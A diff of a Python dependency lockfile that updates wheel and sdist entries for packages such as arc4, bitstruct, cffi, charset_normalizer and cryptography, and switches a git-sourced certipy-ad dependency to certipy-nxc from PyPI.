sdist = { url = "https://files.pythonhosted.org/packages/b6/f0/881da69973abadac6848d27a0bf070b107ed5547ddbd1b092c30ab4c8b7c/arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955", size = 6576, upload-time = "2026-04-05T13:22:36.059Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/24/3f/ab228c5d60e1d6ba345fa993b5336cd24376a86851673e112ad09b681c91/arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f", size = 9065, upload-time = "2026-04-05T13:22:18.032Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0b/68/32c530846e2037275c094854c63935a15fac694de9279e62b23d86cf00e7/arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c", size = 16526, upload-time = "2026-04-05T13:22:18.983Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d9/e9/2086b401b89885156424f3d5095de9ae3807ba04b05a768ba320c163ebc1/arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620", size = 9986, upload-time = "2026-04-05T13:22:20.064Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e8/4f/f2e28e91c9083876090e6218d3f601f7d54acdb5cc189fd4af406f104778/arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f", size = 9068, upload-time = "2026-04-05T13:22:20.845Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/80/84266d1b251fe29272d9f7796e3d4a323cf0a005749b6ddda45a191c2f11/arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad", size = 17788, upload-time = "2026-04-05T13:22:21.66Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/f7/e4ff9ee3d4b6227fd2e3b34d66d2242b7f55fd245c537b578e7f2b60becb/arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6", size = 9990, upload-time = "2026-04-05T13:22:22.815Z" },
|
||||
@@ -113,8 +117,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/de/dc/f434e3517d61f8a3d9c19bb2f615942ae0888d35dd1ab8a8f39dbf4014fa/arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c", size = 10053, upload-time = "2026-04-05T13:22:26.246Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dd/6e/782c46bfc80ca5afd2fc29d5d611a1db9172759aa7d0e538517d6c8a96b3/arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b", size = 17706, upload-time = "2026-04-05T13:22:27.344Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/df/f7/f7a9473114eead7cdb1419eaab156ad767218be748a47922117cfa1167c1/arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39", size = 10095, upload-time = "2026-04-05T13:22:28.12Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ec/e3/14bd4e0a24dc0f18f2236e40706899784d92059268c8039d32544ff9969a/arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d", size = 6901, upload-time = "2026-04-05T13:22:31.401Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bf/08/0bf1fe83abaf7c877490ef2b550f503cb865a80bab6c2f868e07843a17bd/arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148", size = 10087, upload-time = "2026-04-05T13:22:32.291Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1d/f6/642e3b07a2db870354cfaad91535205455f09a03f4eeee82f72a37634662/arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a", size = 6902, upload-time = "2026-04-05T13:22:33.147Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a6/80/12056b7138febb2e6c1294801ed7d072908ace2df58e0feed9347e3d9df4/arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51", size = 8431, upload-time = "2026-04-05T13:22:33.896Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/17/ad/93ff0cb1be94d16357bdaf65fbe1f9c3dc33eb980a08af2c349bef71a43d/arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc", size = 10159, upload-time = "2026-04-05T13:22:35.025Z" },
|
||||
@@ -266,17 +268,6 @@ version = "8.22.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/8d/13/d8b56ef2e6b6ae2cc1b23e509ea7cc8d3423aa0d8a7d7634c23c0bf845e2/bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808", size = 35616, upload-time = "2026-02-17T14:14:23.296Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/67/c9/a6a74c645b8a8d151c9bc0830a66a20e293fecfddbe37f4d8f3e0fa12819/bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979", size = 37862, upload-time = "2026-02-17T14:12:58.826Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/c8/09a16455af0941635cf2f37c18a43d9bc7529e02f8b591c6c265c084ccdd/bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109", size = 38387, upload-time = "2026-02-17T14:13:00.389Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c8/30/e66995833d4d9c01e74371a7e8a2ed0ee0d4d9f7eeb3e5de3603d3101862/bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea", size = 80590, upload-time = "2026-02-17T14:13:01.712Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/79/3c/adaaeb93f37958221152ea6af85b10cef71b9c57a3481ad589540aff012e/bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01", size = 84216, upload-time = "2026-02-17T14:13:02.666Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/2f/29022203b6c93a609e4e8f8ec5e92594522bc82a59bc2528415f3af65e73/bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece", size = 79627, upload-time = "2026-02-17T14:13:04.038Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/28/ef/662577f57c11cf82926a9aa2081b798d5981fee759eb74439a3390218c66/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe", size = 79775, upload-time = "2026-02-17T14:13:05.645Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/55/62/7d347087e330822cd433ce1e49dc049c5b26444cc8900d3436d2ddea5a27/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e", size = 75893, upload-time = "2026-02-17T14:13:06.537Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a7/4c/6b0e029339280377413c920f49114163d82fa4324703d877ac62637f9156/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381", size = 79025, upload-time = "2026-02-17T14:13:07.446Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/bc/f6bb7e709a6b40a857d41be272b4e251a497e1aad73334c8d279f72abfb3/bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581", size = 34806, upload-time = "2026-02-17T14:13:08.371Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/29/21/16ebf2b053e3e890f02435800ac6acc369e3a5c51e3b2b7304a23faf19cc/bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994", size = 36860, upload-time = "2026-02-17T14:13:09.264Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/02/04/63f9b2569aaf89db734b685388cb6676f958f7fb4ba5566555a2c79f5fb8/bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149", size = 35704, upload-time = "2026-02-17T14:13:10.055Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/48/7eae09e61478167ab084c503e384e203271c04213828db830af835fa8997/bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6", size = 37853, upload-time = "2026-02-17T14:13:10.965Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/58/5a/4a4790504f98328f5576f6b27d4366da4fcd00cf7d5e6871b546730905b5/bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997", size = 38380, upload-time = "2026-02-17T14:13:12.322Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/13/7b/156d71cb6b99e7b4e9802a1853a0f1dbdab5b4090c90eaee8eae1aa0371b/bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a", size = 82235, upload-time = "2026-02-17T14:13:13.385Z" },
|
||||
@@ -386,9 +377,9 @@ wheels = [
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "certipy-ad"
|
||||
version = "5.1.0"
|
||||
source = { git = "https://github.com/Pennyw0rth/Certipy#069e03113095aa02772aa3d8debea90654933fe4" }
|
||||
name = "certipy-nxc"
|
||||
version = "5.1.0.post1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "argcomplete" },
|
||||
{ name = "asn1crypto" },
|
||||
@@ -402,6 +393,10 @@ dependencies = [
|
||||
{ name = "pycryptodome" },
|
||||
{ name = "requests" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/db/b8/ebf0f6f0a3d54d7c309a58d692f54532edbc62d8358ea56dadd22ef8b041/certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8", size = 159110, upload-time = "2026-10-14T16:14:49.169Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/83/6e/5b1c9ceaf7b6092dfe50705af3b1eb5e239115d1044a162a3933a3fa24dc/certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0", size = 181768, upload-time = "2026-10-14T16:14:47.58Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cffi"
|
||||
@@ -412,18 +407,6 @@ dependencies = [
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b6/d2/2cde336b375f55c76ca670f0be3978cc048e31e24f3b4d7ce8473150a388/cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be", size = 183779, upload-time = "2026-08-03T21:19:15.602Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/94/1a/4b2f7c92293ba05cbd4a9a1b28faaf0326272d9488e6354657571c48a7aa/cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b", size = 184178, upload-time = "2026-08-03T21:19:16.67Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/17/0b/ba385d8ccedf926c3cd06e8e2f327027da5afe5f0eb30f1f7bc43ac55125/cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004", size = 211037, upload-time = "2026-08-03T21:19:17.705Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a3/b9/0f2e58b2cefa33255bff36935d42b13180fe559bba82596540eb404bde7d/cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9", size = 218652, upload-time = "2026-08-03T21:19:18.735Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/15/180e0dab27b9312c7479003d14c9e547634b7dcb934e2cc4650e1b131a7a/cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98", size = 205422, upload-time = "2026-08-03T21:19:19.96Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/18/d4/03026f0c850cbbaa9030750490225b4a7f4d524ea4df72c3cc740a90f4ef/cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9", size = 205444, upload-time = "2026-08-03T21:19:21.246Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/75/77/60bebf6f818bec84210ac5b6979ce4eeadce6fbbaabc9c7ab23e506d1ce5/cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6", size = 218742, upload-time = "2026-08-03T21:19:22.523Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b0/ae/679bf47e73fd77b352171727f07de559a003f14de5d02b904a6ec1fa73ca/cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf", size = 221054, upload-time = "2026-08-03T21:19:23.694Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/09/b8/eefc0e06913b70aa153bf74c946094a18f58fd4aff11b7f372bfdfdca050/cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659", size = 213489, upload-time = "2026-08-03T21:19:24.922Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6f/13/4e56852824a03cdf68523a35686f1c28eacd4bd30a7b0a78e682e6e6e1d3/cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9", size = 220241, upload-time = "2026-08-03T21:19:26.214Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/99/7f/040f9e163e4acac3ee3d85b02d00b2576e7ca980d8785f0a3a5f1a9bf7f5/cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41", size = 174578, upload-time = "2026-08-03T21:19:27.338Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/0b/644a2ec1a4eaba49c2939410bb1eb1d25b09d6d0582f5d2f95c537043725/cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1", size = 185082, upload-time = "2026-08-03T21:19:28.409Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" },
|
||||
@@ -519,22 +502,6 @@ version = "3.5.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", size = 171764, upload-time = "2026-08-15T08:20:44.807Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa", size = 369072, upload-time = "2026-08-15T08:16:22.964Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/03/6d/439231dfc3ccfa6f8c06477b7da2219cbd41a2de3d49084df8ec7b5100f2/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda", size = 251142, upload-time = "2026-08-15T08:16:24.81Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/55/53/7d819bd23a00ef45039146fa2cce1daa2f0771e758c5653ee1f6edac91ed/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45", size = 240714, upload-time = "2026-08-15T08:16:26.392Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b2/2c/45847198c16f4b38090cc7423b2b6a9008e438704d8ab413211832498d31/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab", size = 279637, upload-time = "2026-08-15T08:16:27.961Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/69/2b/d8be3523ddf9f0b0f3e56d1359034aa10653a4d11564c697f802b4775766/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a", size = 276543, upload-time = "2026-08-15T08:16:29.399Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/32/cd/4f564b8f132de25db594efc706897069f016790cea63a5669c9df2675f64/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3", size = 261644, upload-time = "2026-08-15T08:16:30.722Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f5/e3/38b975422534a608f98c360e79c2f07c763d66dd4272300d45fb1fee54b0/charset_normalizer-3.5.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb", size = 259609, upload-time = "2026-08-15T08:16:32.248Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/87/bd/fbc24d825c66f1c74f6ccdea3742c3d8354a4888e86d1315a197fee69061/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f", size = 252457, upload-time = "2026-08-15T08:16:33.849Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/2d/918d0e98a0e679469ed05bb2d90c2088b4d315bb612969d8499f76fb5210/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea", size = 242240, upload-time = "2026-08-15T08:16:35.396Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/c8/c36f6e0b2dfec351bd38cbc05362697e58bcd073d7dbd95154290c9714ce/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f", size = 280308, upload-time = "2026-08-15T08:16:36.825Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ca/7b/311b3e02e8c4092400c449c850a760d8c45d900983c83a70cc07208c551d/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182", size = 258679, upload-time = "2026-08-15T08:16:38.22Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/90/082cc45599c392f28c036a497f49e0634041a785fc3849c80ccf396d096f/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa", size = 277221, upload-time = "2026-08-15T08:16:39.62Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/58/ad/b9aecf38d805cbcf84fa94f14c5d972a16561e20296a11dc799a5dcf3763/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818", size = 263799, upload-time = "2026-08-15T08:16:40.885Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b7/23/b38a20598d5a825f85d9d7636860e56ff0db1479f86497a6e485aa9326f7/charset_normalizer-3.5.1-cp310-cp310-win32.whl", hash = "sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20", size = 182037, upload-time = "2026-08-15T08:16:42.198Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/21/83fffb77864408b8bf0fe1ca603926401d6f8775a8e150b39aacc9958f8a/charset_normalizer-3.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d", size = 206030, upload-time = "2026-08-15T08:16:43.787Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/86/2e/b93135b5034b1157fb29554b0d06d4844ce62282f0e0a14036f93d7ee2e7/charset_normalizer-3.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5", size = 185092, upload-time = "2026-08-15T08:16:45.177Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30", size = 363585, upload-time = "2026-08-15T08:16:46.646Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488", size = 251189, upload-time = "2026-08-15T08:16:48.287Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22", size = 239724, upload-time = "2026-08-15T08:16:49.67Z" },
|
||||
@@ -729,10 +696,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/fd/2b/be327b580645927bb1a1f32d5a175b897a9b956bc085b095e15c40bac9ed/cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14", size = 3938751, upload-time = "2024-06-04T19:54:37.837Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/d5/c6a78ffccdbe4516711ebaa9ed2c7eb6ac5dfa3dc920f2c7e920af2418b0/cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c", size = 2439281, upload-time = "2024-06-04T19:53:55.903Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a2/7b/b0d330852dd5953daee6b15f742f15d9f18e9c0154eb4cfcc8718f0436da/cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a", size = 2886038, upload-time = "2024-06-04T19:54:18.707Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a3/fe/1e21699f0a7904e8a30d4fc6db262958f1edf5e505a02e7d97a5b419e482/cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe", size = 3014449, upload-time = "2024-06-04T19:54:40.379Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/f3/61b398b5ec61f4b6ffbf746227df7ebb421696458d9625d634043f236a13/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c", size = 3558533, upload-time = "2024-06-04T19:54:42.123Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c1/e2/60b05e720766e185ef097d07068bd878a51d613ef91e4c241750f9c9192b/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71", size = 3759330, upload-time = "2024-06-04T19:54:09.258Z" },
|
||||
